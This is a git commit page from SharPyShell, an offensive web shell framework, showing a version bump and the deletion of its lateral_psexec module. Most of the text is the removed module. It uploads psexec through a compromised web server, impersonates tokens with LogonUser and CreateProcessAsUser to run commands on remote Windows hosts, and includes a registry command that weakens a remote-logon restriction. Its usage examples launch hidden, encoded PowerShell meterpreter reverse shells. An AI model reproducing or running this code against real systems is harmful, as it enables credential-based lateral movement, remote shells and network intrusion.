Projects STRLCPY SharPyShell Commits 3f4c530c
🤬
  • removed lateral_psexec module due to license incompatibility

  • Loading...
  • antonioCoco committed 3 years ago
    3f4c530c
    1 parent 320739f6
  • ■ ■ ■ ■
    core/config.py
    1 1  import sys
    2 2  import os
    3 3   
    4  -sharpyshell_version='1.2.0'
     4 +sharpyshell_version='1.2.1'
    5 5   
    6 6  header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code'
    7 7  banner = """
    skipped 19 lines
  • modules/exe_modules/psexec.exe
    Binary file.
  • ■ ■ ■ ■ ■ ■
    modules/lateral_psexec.py
    1  -from core import config
    2  -from core.Module import Module, ModuleException
    3  -from modules.upload import Upload
    4  -from utils.random_string import random_generator
    5  -import traceback
    6  - 
    7  - 
    8  -class LateralPsexecModuleException(ModuleException):
    9  - pass
    10  - 
    11  - 
    12  -class Lateral_psexec(Module):
    13  - _exception_class = LateralPsexecModuleException
    14  - short_help = "Run psexec binary to move laterally"
    15  - complete_help = r"""
    16  - This module upload and run the psexec binary in order to launch commands on a remote windows system.
    17  - This will result in a lateral movement if shared credentials are known.
    18  -
    19  - Note that if you use local users credentials you should ensure that, on the target server, the feature
    20  - "LocalAccountTokenFilterPolicy" is disabled.
    21  - To disable that you need to add the following regkey with the value of 1:
    22  -
    23  - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
    24  -
    25  - example command:
    26  - reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
    27  -
    28  - If you use domain users for the lateral movement, no restrictions to the process token will be applied.
    29  -
    30  - This module should be run from a privileged user.
    31  - If the application pool within the web application you are interacting with is run with application pool
    32  - identity account or any limited account you won't be able to move laterally to other systems
    33  - due to restrictions applied to the user.
    34  - In those cases, you need to use different credentials of a more privileged user in order to launch this module.
    35  -
    36  - Usage:
    37  - #lateral_psexec target_ip username password command [runas_system] [local_user] [local_password] [local_domain]
    38  -
    39  - Positional arguments:
    40  - target_ip the ip of the remote server
    41  - username username of the user to use to login on the target server
    42  - you can specify domain\username if user is in a domain
    43  - password password of the user to use to login on the target server
    44  - command a command compatible by cmd.exe
    45  - [runas_system] if set to 'true', it will try to run psexec as system on the target remote server
    46  - Default: 'false'
    47  - [local_user] the username of a local user with privileged rights
    48  - [local_password] the password of a local user with privileged rights
    49  - [local_domain] the domain of a local user with privileged rights
    50  -
    51  - Examples:
    52  - Lateral movement as privileged current application pool user, output to local shared resource:
    53  - #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt'
    54  - Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd):
    55  - #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'local_privileged_user1' 'local_privileged_password1'
    56  - Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd):
    57  - #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
    58  - Lateral movement as privileged domain user and as SYSTEM on remote machine using meterpreter http reverse shell (format psh-cmd):
    59  - #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'true' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
    60  - 
    61  - """
    62  - 
    63  - _runtime_code = ur"""
    64  - using System;using System.IO;using System.Diagnostics;using System.Text;
    65  - public class SharPyShell
    66  - {
    67  - string LateralPsexec(string psexec_path, string arg, string working_path)
    68  - {
    69  - ProcessStartInfo pinfo = new ProcessStartInfo();
    70  - pinfo.FileName = psexec_path;
    71  - pinfo.Arguments = arg;
    72  - pinfo.RedirectStandardOutput = true;
    73  - pinfo.RedirectStandardError = true;
    74  - pinfo.UseShellExecute = false;
    75  - pinfo.WorkingDirectory = working_path;
    76  - Process p = new Process();
    77  - try{
    78  - p = Process.Start(pinfo);
    79  - }
    80  - catch (Exception e){
    81  - return "{{{SharPyShellError}}}\n" + e;
    82  - }
    83  - StreamReader stmrdr_output = p.StandardOutput;
    84  - StreamReader stmrdr_errors = p.StandardError;
    85  - string output = "";
    86  - string stand_out = stmrdr_output.ReadToEnd();
    87  - string stand_errors = stmrdr_errors.ReadToEnd();
    88  - stmrdr_output.Close();
    89  - stmrdr_errors.Close();
    90  - if (!String.IsNullOrEmpty(stand_out))
    91  - output = output + stand_out;
    92  - if (!String.IsNullOrEmpty(stand_errors))
    93  - output = output + "\n\n" + stand_errors + "\n";
    94  - return output;
    95  - }
    96  - 
    97  - public byte[] ExecRuntime()
    98  - {
    99  - string output_func=LateralPsexec(@"%s", @"%s", @"%s");
    100  - byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
    101  - return(output_func_byte);
    102  - }
    103  - }
    104  - """
    105  - 
    106  - _runtime_code_runas = ur"""
    107  - using System;using System.IO;using System.Diagnostics;using System.Text;
    108  - using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
    109  - 
    110  - public class SharPyShell
    111  - {
    112  - public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
    113  - {
    114  - private SafeTokenHandle()
    115  - : base(true)
    116  - {
    117  - }
    118  - 
    119  - [DllImport("kernel32.dll")]
    120  - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
    121  - [SuppressUnmanagedCodeSecurity]
    122  - [return: MarshalAs(UnmanagedType.Bool)]
    123  - private static extern bool CloseHandle(IntPtr handle);
    124  - 
    125  - protected override bool ReleaseHandle()
    126  - {
    127  - return CloseHandle(handle);
    128  - }
    129  - }
    130  - 
    131  - [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
    132  - {
    133  - public int cb;
    134  - public String lpReserved;
    135  - public String lpDesktop;
    136  - public String lpTitle;
    137  - public uint dwX;
    138  - public uint dwY;
    139  - public uint dwXSize;
    140  - public uint dwYSize;
    141  - public uint dwXCountChars;
    142  - public uint dwYCountChars;
    143  - public uint dwFillAttribute;
    144  - public uint dwFlags;
    145  - public short wShowWindow;
    146  - public short cbReserved2;
    147  - public IntPtr lpReserved2;
    148  - public IntPtr hStdInput;
    149  - public IntPtr hStdOutput;
    150  - public IntPtr hStdError;
    151  - }
    152  - 
    153  - [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
    154  - {
    155  - public IntPtr hProcess;
    156  - public IntPtr hThread;
    157  - public uint dwProcessId;
    158  - public uint dwThreadId;
    159  - }
    160  - 
    161  - [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
    162  - {
    163  - public int Length;
    164  - public IntPtr lpSecurityDescriptor;
    165  - public bool bInheritHandle;
    166  - }
    167  - 
    168  - [DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
    169  - public static extern bool CloseHandle(IntPtr handle);
    170  - 
    171  - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    172  - public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
    173  - 
    174  - [DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
    175  - public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    176  - 
    177  - [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
    178  - public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
    179  - 
    180  - [DllImport("kernel32.dll", SetLastError=true)]
    181  - public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
    182  - 
    183  - const uint WAIT_ABANDONED = 0x00000080;
    184  - const uint WAIT_OBJECT_0 = 0x00000000;
    185  - const uint WAIT_TIMEOUT = 0x00000102;
    186  - 
    187  - [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
    188  - public string LateralPsexecRunas(string psexec_path, string userName, string password, string domainName, string psexec_arguments, string stdout_file, string stderr_file, string working_directory)
    189  - {
    190  - SafeTokenHandle safeTokenHandle;
    191  - int logon_type = 4;
    192  - uint process_ms_timeout = 60000;
    193  - string output = "";
    194  - string error_string = "{{{SharPyShellError}}}";
    195  - try
    196  - {
    197  - const int LOGON32_PROVIDER_DEFAULT = 0;
    198  - const int LOGON32_PROVIDER_WINNT35 = 1;
    199  - const int LOGON32_PROVIDER_WINNT40 = 2;
    200  - const int LOGON32_PROVIDER_WINNT50 = 3;
    201  - bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
    202  - if (false == returnValue)
    203  - {
    204  - output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error();
    205  - return output;
    206  - }
    207  - using (safeTokenHandle)
    208  - {
    209  - using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
    210  - {
    211  - using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
    212  - {
    213  - IntPtr Token = new IntPtr(0);
    214  - IntPtr DupedToken = new IntPtr(0);
    215  - bool ret;
    216  - SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
    217  - sa.bInheritHandle = false;
    218  - sa.Length = Marshal.SizeOf(sa);
    219  - sa.lpSecurityDescriptor = (IntPtr)0;
    220  - Token = WindowsIdentity.GetCurrent().Token;
    221  - const uint GENERIC_ALL = 0x10000000;
    222  - const int SecurityImpersonation = 2;
    223  - const int TokenType = 1;
    224  - ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
    225  - if (ret == false){
    226  - output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
    227  - return output;
    228  - }
    229  - STARTUPINFO si = new STARTUPINFO();
    230  - si.cb = Marshal.SizeOf(si);
    231  - si.lpDesktop = "";
    232  - string commandLinePath = "";
    233  - File.Create(stdout_file).Dispose();
    234  - File.Create(stderr_file).Dispose();
    235  - string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec");
    236  - commandLinePath = cmd_path + " /c " + psexec_path + " " + psexec_arguments + " >> " + stdout_file + " 2>>" + stderr_file;
    237  - PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    238  - ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
    239  - if (ret == false){
    240  - output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
    241  - return output;
    242  - }
    243  - else{
    244  - uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
    245  - if(wait_for == WAIT_OBJECT_0){
    246  - string errors = File.ReadAllText(stderr_file);
    247  - if (!String.IsNullOrEmpty(errors))
    248  - output += "\n" + errors;
    249  - output += "\n" + File.ReadAllText(stdout_file);
    250  - }
    251  - else{
    252  - output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
    253  - }
    254  - File.Delete(stdout_file);
    255  - File.Delete(stderr_file);
    256  - CloseHandle(pi.hProcess);
    257  - CloseHandle(pi.hThread);
    258  - }
    259  - CloseHandle(DupedToken);
    260  - }
    261  - }
    262  - }
    263  - }
    264  - catch (Exception ex)
    265  - {
    266  - output += error_string + "\nException occurred. " + ex.Message;
    267  - return output;
    268  - }
    269  - return output;
    270  - }
    271  - 
    272  - public byte[] ExecRuntime()
    273  - {
    274  - string output_func=LateralPsexecRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s");
    275  - byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
    276  - return(output_func_byte);
    277  - }
    278  - }
    279  - """
    280  - 
    281  - __default_runas_system = 'false'
    282  - __default_local_user = ''
    283  - __default_local_password = ''
    284  - __default_local_domain = ''
    285  - __psexec_code_arguments = ur'-accepteula \\%s -u ""%s"" -p ""%s"" %s cmd /c ""%s""'
    286  - 
    287  - def __init__(self, password, channel_enc_mode, module_settings, request_object):
    288  - Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
    289  - self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
    290  - 
    291  - def __lookup_psexec_binary(self):
    292  - if 'psexec.exe' in self._module_settings.keys():
    293  - bin_path = self._module_settings['psexec.exe']
    294  - else:
    295  - exe_path = config.modules_paths + 'exe_modules/psexec.exe'
    296  - remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
    297  - print '\n\n\nUploading psexec binary....\n'
    298  - upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
    299  - print upload_response
    300  - self._module_settings['psexec.exe'] = remote_upload_path
    301  - bin_path = remote_upload_path
    302  - return bin_path
    303  - 
    304  - def __run_as_current_user(self, psexec_path, psexec_code_arguments):
    305  - request = self._create_request([psexec_code_arguments, psexec_path, 'current_user'])
    306  - encrypted_request = self._encrypt_request(request)
    307  - encrypted_response = self._post_request(encrypted_request)
    308  - decrypted_response = self._decrypt_response(encrypted_response)
    309  - return decrypted_response
    310  - 
    311  - def __run_as(self, psexec_path, psexec_code_arguments, local_user, local_password, local_domain):
    312  - request = self._create_request([[psexec_code_arguments, local_user, local_password, local_domain],
    313  - psexec_path, 'runas'])
    314  - encrypted_request = self._encrypt_request(request)
    315  - encrypted_response = self._post_request(encrypted_request)
    316  - decrypted_response = self._decrypt_response(encrypted_response)
    317  - return decrypted_response
    318  - 
    319  - def __parse_run_args(self, args):
    320  - if len(args) < 4:
    321  - raise self._exception_class('#lateral_psexec: Not enough arguments. 4 Arguments required.\n')
    322  - args_parser = {k: v for k, v in enumerate(args)}
    323  - target_ip = args_parser.get(0)
    324  - username = args_parser.get(1)
    325  - password = args_parser.get(2)
    326  - command = args_parser.get(3)
    327  - runas_system = args_parser.get(4, self.__default_runas_system)
    328  - local_user = args_parser.get(5, self.__default_local_user)
    329  - local_password = args_parser.get(6, self.__default_local_password)
    330  - local_domain = args_parser.get(7, self.__default_local_domain)
    331  - return target_ip, username, password, command, runas_system, local_user, local_password, local_domain
    332  - 
    333  - def _create_request(self, args):
    334  - arguments, psexec_path, request_type = args
    335  - working_path = self._module_settings['working_directory']
    336  - if request_type == 'runas':
    337  - psexec_code_arguments, local_user, local_password, local_domain = arguments
    338  - stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
    339  - stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
    340  - request = self._runtime_code_runas % (psexec_path, local_user, local_password, local_domain,
    341  - psexec_code_arguments, stdout_file, stderr_file, working_path)
    342  - else:
    343  - psexec_code_arguments = arguments
    344  - request = self._runtime_code % (psexec_path, psexec_code_arguments, working_path)
    345  - return request
    346  - 
    347  - def run(self, args):
    348  - try:
    349  - target_ip, username, password, command, runas_system,\
    350  - local_user, local_password, local_domain = self.__parse_run_args(args)
    351  - psexec_priv_flag = '-s' if runas_system == 'true' else '-h'
    352  - psexec_code_arguments = self.__psexec_code_arguments % (target_ip, username,
    353  - password, psexec_priv_flag, command)
    354  - psexec_path = self.__lookup_psexec_binary()
    355  - if local_user == '':
    356  - response = self.__run_as_current_user(psexec_path, psexec_code_arguments)
    357  - else:
    358  - response = self.__run_as(psexec_path, psexec_code_arguments, local_user, local_password, local_domain)
    359  - parsed_response = self._parse_response(response)
    360  - except ModuleException as module_exc:
    361  - parsed_response = str(module_exc)
    362  - except Exception:
    363  - parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
    364  - str(traceback.format_exc())
    365  - return parsed_response
    366  - 
Please wait...
Page is in error, reload to recover